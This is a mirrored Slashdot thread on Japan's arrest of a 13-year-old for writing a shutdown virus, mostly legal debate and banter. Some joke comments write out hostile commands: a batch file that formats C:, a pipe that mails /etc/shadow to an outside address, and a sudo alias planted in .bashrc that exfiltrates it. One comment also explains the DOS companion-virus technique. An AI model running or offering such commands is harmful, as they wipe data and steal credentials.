Slashdot Mirror


Japanese 13-Year-Old Arrested For Virus Creation

An anonymous reader writes "Last year, Japan criminalized virus creation and just saving a virus on [one's] own computer. According to Yomiuri Shimbun, Kyoto police have arrested a 13-year-old (Japanese language original), second grade of junior high school student from Tokyo, for allegedly creating a computer shutdown virus and operating an exchange board of hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching how to make a virus on their board and saving a virus on his computer."

150 comments

  1. It wasn't me. by Anonymous Coward · · Score: 0

    It was the auto-save that kicked in, I swear it your honor!

  2. Sony by Anonymous Coward · · Score: 5, Insightful

    Time to go arrest Sony's Execs for their rootkits.

    1. Re:Sony by Anubis+IV · · Score: 3, Interesting

      Who said anything about funny? And something need not be clever to be true or worthy of repeating. You just sound like a Sony apologist.

    2. Re:Sony by interval1066 · · Score: 1

      I thought OP's comment rather aprirose myself.

      --
      Python: 'And then suddenly you have a language which says "we're all stuck with whatever the whiniest coder wants".'
    3. Re:Sony by OldSport · · Score: 1

      About as likely as George Bush arresting Dick Cheney for war crimes.

    4. Re:Sony by Anonymous Coward · · Score: 0

      What is aprirose???

    5. Re:Sony by NemosomeN · · Score: 1

      Shall we punish them retroactively then? This is a new law, after all.

      --
      I hate grammar Nazi's.
    6. Re:Sony by kelemvor4 · · Score: 5, Insightful

      Time to go arrest Sony's Execs for their rootkits.

      If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.

    7. Re:Sony by gtall · · Score: 1

      Even apropos as well, eh? Being a techi

    8. Re:Sony by Anonymous Coward · · Score: 0

      "apropos" = very appropriate to a particular situation.

    9. Re:Sony by amicusNYCL · · Score: 1

      Holy shit, let it go.

      Never!

      --
      "Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
    10. Re:Sony by amicusNYCL · · Score: 4, Funny

      Shall we punish them retroactively then?

      Retroactively, proactively, radioactively, whatever it takes.

      --
      "Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
    11. Re:Sony by Anonymous Coward · · Score: 0

      What about rectum-actively?

    12. Re:Sony by Anonymous Coward · · Score: 0

      Time to go arrest Sony's Execs for their rootkits.

      This kid has a job offer lined up to be Sony's new CIO

    13. Re:Sony by jank1887 · · Score: 1

      hmm... if I find an old copy of a CD with the rootkit on it, and it installs today after the law takes hold... what does the letter of the law say for that case? (sure, the intent might be to punish 'creation', but I wouldn't be surprised to see this slip through some poorly worded section...)

    14. Re:Sony by RabidReindeer · · Score: 1

      Time to go arrest Sony's Execs for their rootkits.

      If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.

      You make corporations sound democratic. They are not. Relatively few persons and/or investment companies typically hold the majority shares in most US companies. Few enough that any recourse is not going to come from a lot of unhappy people, just a few people in the right place, and it's generally not going to come via criminal proceedings. Any legal actions taken are probably going to be in the form of personal lawsuits.

      So any criminal prosecution is unlikely to be initiated on behalf specifically of the shareholders or relate specifically to profitability.

      Lack of prosecution, on the other hand, often has to do with how often the big shareholders play golf with Attorneys General.

    15. Re:Sony by Anonymous Coward · · Score: 0

      Time to go arrest Sony's Execs for their rootkits.

      Grow up kid. If all you can do is run around the net and look for any and all chance to take a jab at sony then you need to get out of your parents basement and go out in the world. I know you think youre being snarky, smart, and savvy but really its pretty pathetic at the people who have nothing better to do than make comments about sony in regards to a story that has NOTHING TO DO WITH THEM. Thats petty, childish and immature.

    16. Re:Sony by bryan1945 · · Score: 1

      This was my thought when I read "or saving a virus on your computer." If you get infected, have you saved it? Intent and execution of a law do not necessarily cross paths.

      --
      Vote monkeys into Congress. They are cheaper and more trustworthy.
    17. Re:Sony by Anonymous Coward · · Score: 0

      http://www.youtube.com/watch?v=9iUvuaChDEg

      Geohot -- The Light It Up Contest

    18. Re:Sony by bryan1945 · · Score: 1

      He's afraid he'd shot in the face.

      --
      Vote monkeys into Congress. They are cheaper and more trustworthy.
    19. Re:Sony by Anonymous Coward · · Score: 0

      Thats petty, childish and immature.

      That reminds me of Sony.

    20. Re:Sony by sjames · · Score: 1

      THIS is a new law, but I would be satisfied if they would be prosecuted for violating the laws that were in effect at the time. Perhaps governments shouldn't be passing a bunch of new laws until they can start enforcing the ones they already have in a fair manner.

    21. Re:Sony by tehcyder · · Score: 1

      It's a program you install on your iPhone containing useful information about rhe popular garden plant of the genus Rosa..

      --
      To have a right to do a thing is not at all the same as to be right in doing it
    22. Re:Sony by Anonymous Coward · · Score: 0

      Create an account and say that again. Be modded into the ground.

      Frankly, a good proportion of slashdot's membership is dedicated to making sure that history like Sony's rootkit fiasco does not repeat.

      You are being childish and immature. Courtesy is for those who deserve it, and not a tool to coerce others into submission.

      "Rational people merit rational debate. Irrational people merit ferocious hostility. Anyone trying to teach you to yield and submit has a motive. Unless they can kick your ass or you need to sell them something, piss on them. "

      Your response adds nothing to this conversation as a whole about TFA, contributes nothing to the debate about whether or not Sony are indeed the root of all evil and have backstabbed Satan during their recent peaceful takeover of Hell, and no, you are wrong. As the OP has kindly pointed out, it is now possible that Sony Execs.. or perhaps more likely their technicians, could be arrested using this law.. not retrospectively, mind, just based on the raid planned for Sony Japan's HQ next week

    23. Re:Sony by Hyperhaplo · · Score: 1

      Holy shit, let it go.

      Never!

      Never!
      Those who don't learn from history are doomed to repeat it

      --
      You have a sick, twisted mind. Please subscribe me to your newsletter.
    24. Re:Sony by Anonymous Coward · · Score: 0

      Then you have to trash the CD or you'll be arrested for saving a computer virus on a CD...

    25. Re:Sony by mcgrew · · Score: 1

      It never was funny or clever, it was just plain evil and the GP had a valid point -- someone should have gone to prison for XCP.

      Are you a troll or a shill? Just wondering... I was bitten by this and will never again buy anything from Sony. Anyone who would buy electronics from someone who would install malware on their eqipment is the biggest fool in the world.

    26. Re:Sony by justforgetme · · Score: 1

      No, it is not funny nor is it clever. It is only logical that the SONY execs responsible should be held responsible for their criminal activity as much as I would be held responsible should I perform a criminal activity.

      --
      -- no sig today
    27. Re:Sony by justforgetme · · Score: 1

      Not that having potentially dangerous computer code is an offense. Were that true all scripts containing `rm -rf' would be legal offenses.

      --
      -- no sig today
    28. Re:Sony by justforgetme · · Score: 1

      Ahh... wake up already! You are all criminals!

      The only problem is that after the legals put us all into jail there won't be anybody around to make them dinner so they will starve.

      --
      -- no sig today
    29. Re:Sony by justforgetme · · Score: 1

      Perhaps governments shouldn't be passing a bunch of new laws until they can start enforcing the ones they already have in a fair manner.

      Oh now that wouldn't make sense now would it?

      --
      -- no sig today
  3. Quick on their feet. by Anonymous Coward · · Score: 0

    If only the /. 'editors' were so zealous.

  4. Editors??? What is this I don't even by qwe4rty · · Score: 0

    Does no one proof read? This is painful to read

    1. Re:Editors??? What is this I don't even by mkraft · · Score: 1

      Maybe it was translated from Japanese?

    2. Re:Editors??? What is this I don't even by Lumpio- · · Score: 1

      It's a Google Translate link. What did you expect?

    3. Re:Editors??? What is this I don't even by Anonymous Coward · · Score: 0

      Sure it might be bad, but if your unable to figure out what was saying in the paragraph then you might have ocd or something. Your brain should pretty much "auto-correct" bad grammar or spelling for you. If your having that much trouble than I think have a problem.

      P.S. I also left out two words on purpose. Think of it as an exercise to have your head put information in where it is missing

    4. Re:Editors??? What is this I don't even by phaedrus5001 · · Score: 1

      That the editors would, you know, edit?

      --
      "It's a trick. Get an axe."
    5. Re:Editors??? What is this I don't even by Anonymous Coward · · Score: 0

      ...than I think

      You also don't know the difference between then and than - you from Japan?

      CAPTCHA = emerald (nice, a jewel of a comment)

    6. Re:Editors??? What is this I don't even by robthebloke · · Score: 1

      I think I'd prefer the google translate version + original text, tbh. When was the last time you ever heard of someone attending the princes ball in a glass slipper? I think the editors did the right thing here. Stick a link to the original, and give us a google translation. I haven't got a clue what the original japanese says, so I don't think I should be attempting to correct it to what sounds right to me. I might accidentally mis-translate 'felt' for 'glass' for example.....

  5. Let me guess... by BitterOak · · Score: 1

    Let me guess... English isn't the the submitter's first language. Can't the editors at least clean that up a bit?

    --
    If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
    1. Re:Let me guess... by Oh+Gawwd+Peak+Oil · · Score: 5, Funny

      Maybe it was, in fact, perfect English when it was submitted . . . before the Slashdot "editors" got to it?

    2. Re:Let me guess... by Anonymous Coward · · Score: 0

      Learn some other language then and post something we need some laugh or just practice reading english stop complaining

    3. Re:Let me guess... by Anonymous Coward · · Score: 0

      No No No.. the submit's first language is English. This is just another shining example of the US school system here to brighten our lives.

      No doubt his US English teacher gives him a B+ and a big smiley face on his assignments

  6. it's a self installing remote administration tool by gl4ss · · Score: 4, Funny

    it's a self installing remote administration tool, not a virus.

    anyhow.. what are they going to do to the kid? if japan is anything like west, they'd have to show damages and could only sue for those since he's just a kid.

    or do they execute retard kids for being teens?

    --
    world was created 5 seconds before this post as it is.
  7. Obviously... by Anonymous Coward · · Score: 0

    ...the virus affects spelling and grammar checkers.

  8. Summary is informative and accurate by Anonymous Coward · · Score: 0

    [quote]"allegedly teaching a how to make a virus on their board and saved a virus on his computer."[/quote]
    Using google translate, I see. Why for editors not post check computer happy?

  9. That's all well and good... by Anonymous Coward · · Score: 0

    ...but who's going to arrest the slashdot editor who let this butchery of a summary get through?

    Let's see if I can fix this mess:

    Last year, Japan criminalized virus creation and even just saving a virus on your own computer. According to Yomiuri Shimbin, Kyoto police have arrested a 13-year-old (Japanese language article), second-year junior high school student from Tokyo for allegedly creating a virus that shuts down computers and operating an exchange board for hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching people how to make a virus on that same exchange board and saving a virus onto his own computer.

  10. Wait by circletimessquare · · Score: 1

    Is this the plot of some manga masquerading as news?

    When do the cyborg rape octopuses show up?

    --
    intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
  11. even just saving a virus? so jail time for downloa by Joe_Dragon · · Score: 1

    even just saving a virus? so jail time for downloading / passing spyware, carp ware, virus?

    So you can go to jail just by picking up some drive by virus?

  12. BAT Virus by Metabolife · · Score: 5, Funny

    If you're from Japan, do this:

    Open notepad and type these lines in.
    echo off
    cls
    echo y|format C:

    Now save this file as virus.bat.

    Next, go to jail.

    1. Re:BAT Virus by rrohbeck · · Score: 1, Funny

      Hmm, didn't work:

      rrohbeck@eee:~$ echo off
      off
      rrohbeck@eee:~$ cls
      No command 'cls' found, but there are 18 similar ones
      cls: command not found
      rrohbeck@eee:~$ echo y|format C:
      No command 'format' found, did you mean:
        Command 'mformat' from package 'mtools' (main)
        Command 'hformat' from package 'hfsutils' (main)
      format: command not found
      rrohbeck@eee:~$

    2. Re:BAT Virus by Anonymous Coward · · Score: 0

      cat /etc/shadow | mail thanksfortheintel@mailinator.com

    3. Re:BAT Virus by Anonymous Coward · · Score: 0

      that should be:
      @echo off

      Typical scrub-nub.

    4. Re:BAT Virus by David89 · · Score: 1

      You skipped "Open notepad and type these lines in."

      --
      Track IP - Remotely track the IP address of a machine via email or MySQL.
    5. Re:BAT Virus by Anonymous Coward · · Score: 0

      coward@acbox:~ % cat /etc/shadow | mail thanksfortheintel@mailinator.com
          cat: /etc/shadow: Permission denied

      So CLOSE to world domination!

    6. Re:BAT Virus by Anonymous Coward · · Score: 0

      Send this to the Japanese police and tell them to arrest themself for saving a virus on their computer.

    7. Re:BAT Virus by Anonymous Coward · · Score: 0

      test the law further.

      memorize this...virus, right?

      recite it in public.

      next, announce you have memorized a virus program, and say you are ACTIVELY THINKING ABOUT IT RIGHT NOW, AND HOW IT COULD BE WRITTEN DOWN AND SENT OUT TO DO DAMAGE.

      thoughtcrime

      qed

    8. Re:BAT Virus by Bad+Ad · · Score: 2

      Why echo in the Y?

      just use "format c: /y"

    9. Re:BAT Virus by lindi · · Score: 1

      echo 'alias sudo="sudo cat /etc/shadow | mail thanksfortheintel@mailinator.com; sudo"' >> ~/.bashrc

    10. Re:BAT Virus by jones_supa · · Score: 2

      Or the whole script could be just:

      @echo y|format C:

    11. Re:BAT Virus by Anonymous Coward · · Score: 0

      Ah yeah, those few lines typed on IRC... that stopped working 10 years ago.

      Thanks for playing.

    12. Re:BAT Virus by rrohbeck · · Score: 1

      Ah, now we're getting somewhere.

  13. Japan amazes me.. by goruka · · Score: 4, Interesting

    It's hard to believe that a country as rich, so advanced technologically, with such brilliant and creative minds can pass laws like this. Japan also has a long list of restrictive laws such as ban on weapons, super strong copyright protection with criminal punishment, ban on genitals in pornography, or naked underage kids in manga/anime. When I was studying japanese, I remember my teacher (also japanese) told me that Japan is one of the very few cultures where the population never rioted against the oppressive ruling class, which is why he believed that even nowadays people is very submissive to the point that corporations act almost like feuds, and rarely complain about what they dislike (except on internet forums).

    1. Re:Japan amazes me.. by Anonymous Coward · · Score: 0

      you forgot to tie in radiation somehow in your post, -5 points

    2. Re:Japan amazes me.. by Anonymous Coward · · Score: 1

      The idea of Japan being "Advanced" is largely a myth. Perhaps they were in the 80s, 90's, and in to the early 00's.
      That's only because Japan itself was the head of R&D, manufacturing, game making, etc. The rest of the world has caught up and innovations are happening elsewhere. Combine that with the Japanese problem of severe xenophobia and "Not invented here" syndrome and you have a country that no longer leads where they used to.

      Take the Japanese video game market. A decade ago they were doing well, and a decade before that they were they only game in town. Today? Complete and utter stagnation. All Japanese games are clones of the previous game, with ever more girly and effeminate male characters.Outside of a few fighting game franchises, which are pretty much a niche maket today, Japan exports very few games. Nintendo you say? What if I told you that most of Ninendo's games are actually made by western companies under contract?

    3. Re:Japan amazes me.. by bargainsale · · Score: 5, Informative

      The population of Japan frequently rioted against the oppressive ruling class. For example
      http://en.wikipedia.org/wiki/Bakumatsu#Economic_and_social_crisis
      and many other examples throughout Japanese history.

      Your teacher may have been Japanese, but they can't have known much history...

      --
      Aberrations have appeared in my destiny prognostication engine!
    4. Re:Japan amazes me.. by Anonymous Coward · · Score: 0

      When I was studying japanese, I remember my teacher (also japanese) told me that Japan is one of the very few cultures where the population never rioted against the oppressive ruling class

      Then your teacher apparently didn't study Japanese history.

    5. Re:Japan amazes me.. by gtall · · Score: 1

      So, you're saying corporations are going on vendettas against the people? Those bastards!

    6. Re:Japan amazes me.. by Anonymous Coward · · Score: 0

      Today? Complete and utter stagnation. All Japanese games are clones of the previous game, with ever more girly and effeminate male characters

      You mean... like the entire rest of the gaming industry?

      Or is Call of Medal of Battlehonor XVI completely innovative, and dare I say, game-changing?

    7. Re:Japan amazes me.. by greggman · · Score: 1

      I'm not totally convinced this is a bad law. We're only a few years away until any hacker that wants to can create a biological virus. Should that be outlawed? Viruses shut down Iran's nuclear program. Viruses cause real damage. There are hazardous substance laws for a reason. I'm not sure there shouldn't be laws against hazardous virtual substances, especially of the cause real hazards.

    8. Re:Japan amazes me.. by Anonymous Coward · · Score: 0

      Japan is one of the very few cultures where the population never rioted against the oppressive ruling class

      Others have already pointed you to 19th century counterexamples. More recently, there were massive anti-US riots in 1959 and 1970 ("anpo" riots) including a takeover of universities by left-leaning students, riots and terrorism in the 1970s and 1980s against the government's plan to exercise eminent domain in building the Narita Airport, and riots by day laborers in Osaka as recently as 2008.

    9. Re:Japan amazes me.. by bigrockpeltr · · Score: 1

      So you are saying that idea is a myth then go on in the same line to say that it isnt a myth?

      myth != outdated

      --
      $ unzip, strip, touch, finger, grep, mount, fsck, more, yes,fsck,fsck,fsck,umount, sleep
    10. Re:Japan amazes me.. by Anonymous Coward · · Score: 0

      There are lots of laws against doing dangerous things before you get so far as to hurt people. It's illegal to posses fireworks in my city. Drunken driving is illegal. Even sitting next to a non-functioning car while drunk is illegal if you have the keys. Why shouldn't making a dangerous computer program be illegal?

    11. Re:Japan amazes me.. by s0nicfreak · · Score: 1

      If you posses fireworks, you were probably planning on setting them off. If you hold the keys next to a car, it looks very much like you are about to drive it. There is no indication that simply by making a virus, you were about to do something dangerous. It's also pretty far of a stretch to say that shutting down a computer could be dangerous to others.

  14. And the virus's name was by obarthelemy · · Score: 1

    Cooties !

    --
    The Cloud - because you don't care if your apps and data are up in the air.
    1. Re:And the virus's name was by ackthpt · · Score: 1

      Cooties !

      Howzabout Mt. Foojies?

      --

      A feeling of having made the same mistake before: Deja Foobar
  15. OP Spreading FUD and Propaganda by Anonymous Coward · · Score: 0

    OP left out that the crime requires a mental state (i.e., "without reasonable cause" such as a criminal purpose). It is not a strict liability offense.

    And yes, if you create it expressly and soley for a criminal purpose, but "just save it on your own computer" it should be a crime. Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

    Stop with the FUD and propaganda already....geez.
    Source:
    http://techland.time.com/2011/06/17/japan-criminalizes-cybercrime-make-a-virus-get-three-years-in-jail/

    1. Re:OP Spreading FUD and Propaganda by zlives · · Score: 1

      wonder what happens when toyota makes a car capable of breaking speed laws...
      i am sure it was intentionally made to go over the speed limit!!!

    2. Re:OP Spreading FUD and Propaganda by similar_name · · Score: 5, Insightful

      Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

      Personally, I do believe a crime has not happened until it affects another person.

    3. Re:OP Spreading FUD and Propaganda by flimflammer · · Score: 1

      And yes, if you create it expressly and soley for a criminal purpose, but "just save it on your own computer" it should be a crime. Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

      So we should be arresting people for thought crimes now? Saving it to your computer does not show intent to commit a crime any more than buying a new set of steak knives shows intent to murder your wife for cheating on you with the gardener.

    4. Re:OP Spreading FUD and Propaganda by Anonymous Coward · · Score: 0

      the earth can only sustain so many oxygen breathers. your crime, un liscensed breathing, book em danno.

    5. Re:OP Spreading FUD and Propaganda by bryan1945 · · Score: 1

      Yep, I got this shielded personal nuke in my garage and plans of the White House. It's all cool, since I'm not affecting anyone yet.

      --
      Vote monkeys into Congress. They are cheaper and more trustworthy.
    6. Re:OP Spreading FUD and Propaganda by Anonymous Coward · · Score: 0

      Yep, I got this shielded personal nuke in my garage and plans of the White House. It's all cool, since I'm not affecting anyone yet.

      I wouldn't tell anyone, sounds like a good plan.

    7. Re:OP Spreading FUD and Propaganda by Anonymous Coward · · Score: 0

      so a sniper taking potshots at you isn't doing anything wrong until he actually hits you. while he's missing his target he's golden.

      it makes sense to criminalise attempts to harm others, even if they fail.

      though this goes even further and criminalises making things which might possibly be used in a crime.

    8. Re:OP Spreading FUD and Propaganda by Anonymous Coward · · Score: 0

      The actual law outlaws creation and ownership of viruses for the purpose of giving it to other people's computers (literal translation of the bill). So (at least in legal theory) you're OK unless the prosecution can demonstrate beyond a reasonable doubt that you intended the virus for external circulation. The transcript of the committee discussion that went into this law explicitly talks about antivirus companies and virus hobbyists, but that was dismissed as the panel members believed that the "purpose" argument specifically exempts those people.

      According the Japanese article, the boy had set up a private BBS for the purpose of discussing virus creation. What the article doesn't say is whether the logs from that BBS contains evidence suggesting that the boy intended to distribute the virus. If it did, then the case is clear cut; it would be the same as if you had bought the steak knives and then wrote about killing your wife with them on your blog. If not, well, we need more evidence to decide whether this arrest was justified, or if the police was overstepping the bounds.

    9. Re:OP Spreading FUD and Propaganda by firecode · · Score: 1

      Viruses are like guns. Creating guns and bombs can be unethical and should be somehow regulated but it shouldn't be a (serious) crime.

      I cracked some games and coded interesting 3d effects when I was 15-years old or something.. when you are less than 16/18-years old, you don't really think too seriously about the consequences.

  16. Re:it's a self installing remote administration to by AliasMarlowe · · Score: 3, Informative

    or do they execute retard kids for being teens?

    Of course not! Execution is for confessed and convicted criminals of the lowest order. Those who are merely dishonored are permitted to commit seppuku and thus restore their honor.

    --
    Those who can make you believe absurdities can make you commit atrocities. - Voltaire
  17. Viruses save themselves by Hentes · · Score: 1

    The point of viruses is that they either trick the user into saving them or get on the computer through an exploit, in neither case did the owner deliberately want it to be saved.

  18. One thing's for sure: by Anonymous Coward · · Score: 0

    Google's not going to take away my job as a Japanese-English translator anytime soon.

  19. What about Eicar? by Anonymous Coward · · Score: 0

    So, what the hell do they do with Eicar? ...and what about Japanese virus protection software companies...do they have *real* viri to test with?

    1. Re:What about Eicar? by Anonymous Coward · · Score: 0

      Maybe I was a bit too cryptic....the Eicar test file...for testing anti-virus software. You can find the exact contents of the file on the Eicar site...any file that starts with that content...and is the right size...is considered a virus by anti-virus software...soooooooo.....what do the Japanese do about the virus that is not a virus?

    2. Re:What about Eicar? by Anonymous Coward · · Score: 0

      The actual text of the law only covers people who save viruses for the purpose of providing them to other people's computers. Indeed, in the transcript of the bureaucrats' discussions in passing the law, both antivirus companies and virus research hobbyists who save viruses strictly for their own enjoyment were mentioned as possible inadvertent victims. The argument was dismissed, as the panel felt that the "purpose" limitation will exempt both parties.

  20. Doesn't even need to look that far by ub3r+n3u7r4l1st · · Score: 1

    Across the sea, South Korea is already ahead of Japan in terms of automobiles, video games, soap opera etc. , all comes without the xenophobia.

    1. Re:Doesn't even need to look that far by Rinikusu · · Score: 4, Insightful

      As a South Korean American, I can assure you xenophobia/racism is alive and well in Korea.

      --
      If you were me, you'd be good lookin'. - six string samurai
    2. Re:Doesn't even need to look that far by Anonymous Coward · · Score: 0

      Without the xenophobia? All it takes is a google search of 'korea xenophobia' to show you any number of examples, the latest I can think of being the harassment of Jasmine Lee. Japan might be xenophobic as well, but Korea is just as bad if not worse.

    3. Re:Doesn't even need to look that far by K.+S.+Kyosuke · · Score: 3, Insightful

      "Korea without xenophobia" makes about as much sense as "Germany without beer".

      --
      Ezekiel 23:20
    4. Re:Doesn't even need to look that far by Anonymous Coward · · Score: 0

      Speaking of: Are there many Mien there? I had a mien buddy who kept being asked if he was Korean by the staff at a local Korean restraunt.

    5. Re:Doesn't even need to look that far by Anonymous Coward · · Score: 0

      I cant blame them... Xenos scare the shit out of me!

    6. Re:Doesn't even need to look that far by Anonymous Coward · · Score: 0

      Sure...with that second jaw that comes out of their mouths, and acid for blood. They scare the crap out of me too. Or is that xenomorphs?

    7. Re:Doesn't even need to look that far by srk2040 · · Score: 0

      That is true just about any where with a homogeneous population.

    8. Re:Doesn't even need to look that far by Anonymous Coward · · Score: 0

      Well said, you know you were speaking the truth when japanese sock puppets can't help but attack korea

  21. Re:Should have known better by ackthpt · · Score: 4, Funny

    As much as some hate to admit this, it's true. Some things that are protected here in the US just aren't in other countries, and some are downright awful.

    Yeah, the US is falling so far behind .. a 13 year old can create a virus in Japan, but US kids take years more to reach that level and some people think that's alright. Time for another big Education push ...

    Get the Etch-A-Sketches out and start over

    --

    A feeling of having made the same mistake before: Deja Foobar
  22. Re:Should have known better by NemosomeN · · Score: 1

    Interesting statement considering we Americans wrote the Japanese constitution. It's more likely supreme court rulings that set us apart.

    --
    I hate grammar Nazi's.
  23. He created a shortcut by srussia · · Score: 2

    "shutdown -s -t 0"

    --
    Set your phasers on "funky"!
    1. Re:He created a shortcut by Zantetsuken · · Score: 1
      Depending on the definition, a lot of simple administrative stuff built into modern OS'es would qualify as a virus.

      *nix:
      user@host $ ssh hostb "uname -n"

      MS Powershell 2.0 (Vista and up)
      PS C:\users\user> invoke-command -credential username -computername hostb -ScriptBlock {get-content env:computername}

    2. Re:He created a shortcut by Anonymous Coward · · Score: 0

      But naming the desktop icon "get free pr0n" was why it's a virus not a shortcut ;-)

  24. Passing law is so awkward by anubi · · Score: 2

    We sure try to control this awkwardly...

    Its like passing law trying to keep pranksters from setting grass-thatch outhouses on fire for the fun of it.

    Personally, I would teach the complainants how to use cinder blocks to construct an outhouse.

    I still believe all these backdoors in commercial software OS offerings are due to way too much complexity and trying to be everything for everybody. I firmly believe a small compact well-understood kernel, such as uCOS/2 could be the core of a GUI front-end for a secure system.

    If a limited number of known file formats for multimedia and data exchange are supported, data-only - no embedded executables - then vectors for viral infection are nipped in the bud.

    The whole OS should be in ROM, so that once installed, it can't be changed. Flash with write disabled by physical jumper would be great for this. One could physically place the jumper or close a physical switch to allow upgrade of the OS. Yes, it would involve user responsibility. And require standardized interface protocols - which means a lot of IP law has to be changed to hold interface protocols free from legal hostage.

    All this "remote administration" stuff gives me the willies, especially when people who can barely figure out how to turn the power onto the machine can pass control of that machine to anyone in the "cloud".

    --
    "Prove all things; hold fast that which is good." [KJV: I Thessalonians 5:21]

  25. Early-teens computer genius? I know who this is... by Dogtanian · · Score: 3, Funny

    The article says that the 13-year-old computer hacker in question was male, but I strongly suspect they were thrown by her name and strange androgynous appearance.

    --
    "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
  26. Translation of linked article by schnipschnap · · Score: 5, Informative

    Provided to you with much <3.

    Under the suspicion of having created a computer virus, Kyoto Prefectural Police have taken into custody a 13-year-old eighth-grader living in Tokyo, Akiruno City, and notified the children's welfare center, based on the youth's misconduct of virus creation (skipping translation of official name of crime, which is provided here as well).

    According to the announcement, a male student created a virus last year, on August 5, that forcibly shuts down computers. His deed has been recognized as a misconduct/misdemeanor.

    The male student was at the helm of a membership-based site where hackers exchange information. "I was interested in hacking and wanted to study hacking, and created the site in August last year," he explains.

    Kyoto Prectural Police have also arrested a suspect, a 23-year-old contruction worker from East Yamato City in Tokyo (name is in the article, but I don't agree that it should be published at this stage so I won't romanize it. Google Translate probably did it anyway though), who gave technical lessons on that site, under the suspicion that he had stored a virus on his home computer that deletes files on computers without permission.

    (July 5, 2012, Yomiuri-Shimbun)

    1. Re:Translation of linked article by Anonymous Coward · · Score: 0

      "According to the announcement, a male student created a virus last year, on August 5, that forcibly shuts down computers. His deed has been recognized as a misconduct/misdemeanor."

      Wait... so he created it when he was actually 12?

    2. Re:Translation of linked article by Anonymous Coward · · Score: 0

      So what? I'm sure a significant percentage of people on this site could and did do worse.

      It would be more impressive if it shut down tens of thousands at once. Oh, and if he didn't get caught.

    3. Re:Translation of linked article by Anonymous Coward · · Score: 0

      Meh. Writing viruses isn't too hard, especially with the world wide available to answer any and all questions these days. But the word virus could mean a lot of things. It might be a lot more impressive depending on the program's capabilities, or if he utilized a previously unknown exploit.

      I was probably about 15 when I wrote my first. Figured out how to do it by reading a public McAfee write up on "corresponding com infectors" or "spawning viruses". It pretty much laid out how anyone with the slightest bit of coding experience could create a "virus". On older MSDOS systems, there were two types of executable files, those with COM extensions and those with EXE extensions. You could launch an executable without specifying the extension. If a COM and EXE both had the same filename, but different extensions, DOS would always execute the COM file...even if it was hidden. So, basically all your virus had to do, was find an EXE file that didn't already have a corresponding COM file (fairly simple), then copy itself to the new location under the filename of the new EXE (also simple), but with a COM extension. Then launch the program the user originally intended. Then, whenever someone went to launch the program without specifying the extension, they ran the virus. Wrote the thing in Turbo Pascal after the first month of my Programming in Turbo Pascal class. I'm pretty sure even the idiots in the class could have done it after explaining all of the above.

      It was pathetically easy to make. Pathetically easy to clean off the system too. But then there were viruses out there written in assembly, ones that infected the programs themselves, or boot sectors, or encrypted themselves in different ways after each infection. Some are a lot more impressive than others. So, yeah, if a 12 year had been the Dark Avenger, then I would have been impressed. Others, not so much. But then, that was part of the allure of viruses and hacking and all that. It was about being perceived by your peers as computer god. It was quite intoxicating for a while. Then I realized...I really don't have much talent...and gave it up.

    4. Re:Translation of linked article by Anonymous Coward · · Score: 0

      verybadvirus.bat - 05/08-2011
      "shutdown.exe /s /p /f"

      Congratulations to your death penalty.

  27. Re:it's a self installing remote administration to by amicusNYCL · · Score: 1

    it's a self installing remote administration tool, not a virus.

    Is that what we're calling viruses these days? The terminology is so hard to keep up with.

    --
    "Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
  28. In other news... by Lendrick · · Score: 4, Funny

    ...computer security experts flee Japan.

  29. Re:even just saving a virus? so jail time for down by blackest_k · · Score: 1

    what happens when avg or similar puts it in the virus vault, guilty?

  30. you mean like this by Anonymous Coward · · Score: 0

    https://www.uha1.com/CHRONOSS/TESTDESIGN/archives3/

    ya awful i have so much knowledge at my finger tips that keeps these dummy corporates on there toes and this is the 3rd archive and oldest , ive moved the other 2 for the time being....private members only ( only a few thousand close friends ....no worries HONEST )

  31. Re:Should have known better by Anonymous Coward · · Score: 1

    when i was 13 i was scanning for weak nt passes and installing litmus bots to meet on a french ircd i had setup. all for the sake of showing my friends i could disconnect them from AIM any time i wanted, all i had to do was open a dcc send a pic or something get the ip and and let the ddos commence. when i was 14 i was hacking for a fxp group. just because your kids are dumb doesn't mean we all are. i only stopped because i no longer fell under the can't be tried as adult thing :D

  32. Re:Should have known better by RKBA · · Score: 4, Insightful

    Neither the US Constitution nor the Bill of Rights protect you from anything at all, since they are merely historical pieces of hemp paper that our federal government has been completely ignoring for a long, long time. The Constitution was written in plain simple language so that everyone could read and understand it. They expected the people to read it and understand their unalienable rights and the restrictions placed on the federal government by the Constitution -- but most importantly they expected the people to enforce the Constitution, which is one of the reasons they were vehemently opposed to a large standing government army and preferred a militia composed of the people.

  33. Re:Should have known better by Archangel+Michael · · Score: 2

    But the Government is promising me FREE STUFF (TM) therefore we the people ignore the Constitution. Never mind all that free stuff comes at a cost (taxes, freedom etc) it is FREE STUFF (TM) !!!!

    --
    Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
  34. Re:it's a self installing remote administration to by v(*_*)vvvv · · Score: 1

    They will send him to jail. Damages are a civil matter. In Japan, they made this stuff criminal. He isn't been sued, he is being arrested.

    http://www.dailymail.co.uk/news/article-2005891/Japan-passes-law-viruses-spam-emails-carrying-years-jail-time.html

  35. Re:But but but ... where are all the posts ... by Anonymous Coward · · Score: 0

    sadly the slashweenie was really a hive of semi-autonamous chatbots that well looked too suspicious and the controller quit their side job of sustaining weenie level whining.

  36. Construction by Anonymous Coward · · Score: 0

    Its a shame someone has to work in construction, when they clearly have the talent to create software. Didn't go to the right school or have the right parents or something? (that's assuming construction wasn't actually the preferred option - better hours, exercise, etc ;) )

  37. Guilty as charged by Anonymous Coward · · Score: 0

    I must be guilty. I have an active directory server that shuts down the kids' PCs at 1:00 am during the school year. This must be shutdown virus as the kids don't like this behavior. Never mind the fact that these are all my machines, my script, and my server on my LAN.

    Sounds like Cisco/Linksys monitoring internal private networks might pay off for them.

